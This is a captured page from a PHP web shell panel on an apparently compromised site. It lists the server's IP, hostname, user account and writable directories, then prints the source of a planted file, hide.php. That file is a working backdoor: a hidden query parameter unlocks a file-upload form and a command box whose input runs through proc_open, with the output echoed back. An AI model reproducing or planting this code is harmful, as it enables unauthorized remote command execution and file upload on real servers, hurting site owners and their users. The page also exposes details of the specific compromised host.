403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/promo/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/promo/hide.php
<?php
error_reporting(0); set_time_limit(0);
if (isset($_GET['set'])) {
echo "<br><form method='POST' enctype='multipart/form-data'>
<input type='file' name='file' />
<input type='submit' value='>>>' />
</form>";
echo '<form method="post">
<input type="text" name="xmd" size="30">
<input type="submit" value="Kill">
</form>';
if (isset($_FILES['file'])) {
$filename = $_FILES['file']['name'];
$filetmp  = $_FILES['file']['tmp_name'];
if (move_uploaded_file($filetmp, $filename)) {
echo '[OK] ===> ' . $filename;
}
}
if (isset($_POST['xmd'])) {
$xmd = $_POST['xmd'];
$descriptors = array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'w')  // stderr
);
$process = proc_open($xmd, $descriptors, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "<pre>$output</pre>";
echo "Error:\n$error\n";
} else {
echo "no";
}
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit